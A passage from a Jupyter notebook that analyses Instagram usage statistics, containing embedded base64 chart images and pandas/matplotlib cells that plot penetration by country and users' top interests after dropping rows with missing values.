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\n", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "import pandas as pd\n", + "import matplotlib.pyplot as plt\n", + "\n", + "stats = pd.read_csv(\"D:\\\\DataScience\\\\Instagram DataAnalysis\\\\Usage Statistics\\\\IG12.csv\", header=0, sep=\",\")\n", + "print(stats)\n", + "\n", + "df = pd.DataFrame(stats)\n", + "x = list(df.iloc[:, 0])\n", + "y = list(df.iloc[:, 1])\n", + "c = ['g', 'b', 'k', 'y', 'r', 'm', 'c']\n", + "\n", + "plt.figure(figsize=(15,7))\n", + "plt.title(\"Instagram penetration by country, top markets\")\n", + "plt.xlabel(\"Percentage\")\n", + "plt.ylabel(\"Country\")\n", + "plt.barh(x,y,color=c)\n", + "plt.show()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "# Instagram users’ top interests" + ] + }, + { + "cell_type": "code", + "execution_count": 15, + "metadata": { + "scrolled": true + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + " Interest Percentage_of_users_interested\n", + "0 Travel45 NaN\n", + "1 Music 44.0\n", + "2 Food & Drink 43.0\n", + "3 Fashion 42.0\n", + "4 Movies 41.0\n", + "5 Health & Fitness 35.0\n", + "6 Technology32 NaN\n", + "7 Skin care/Cosmetics 30.0\n", + "8 Sports 30.0\n", + "9 News 28.0\n", + "\n", + "After data cleaned :\n", + "\n", + " Interest Percentage_of_users_interested\n", + "1 Music 44.0\n", + "2 Food & Drink 43.0\n", + "3 Fashion 42.0\n", + "4 Movies 41.0\n", + "5 Health & Fitness 35.0\n", + "7 Skin care/Cosmetics 30.0\n", + "8 Sports 30.0\n", + "9 News 28.0\n" + ] + }, + { + "data": { + "image/png": "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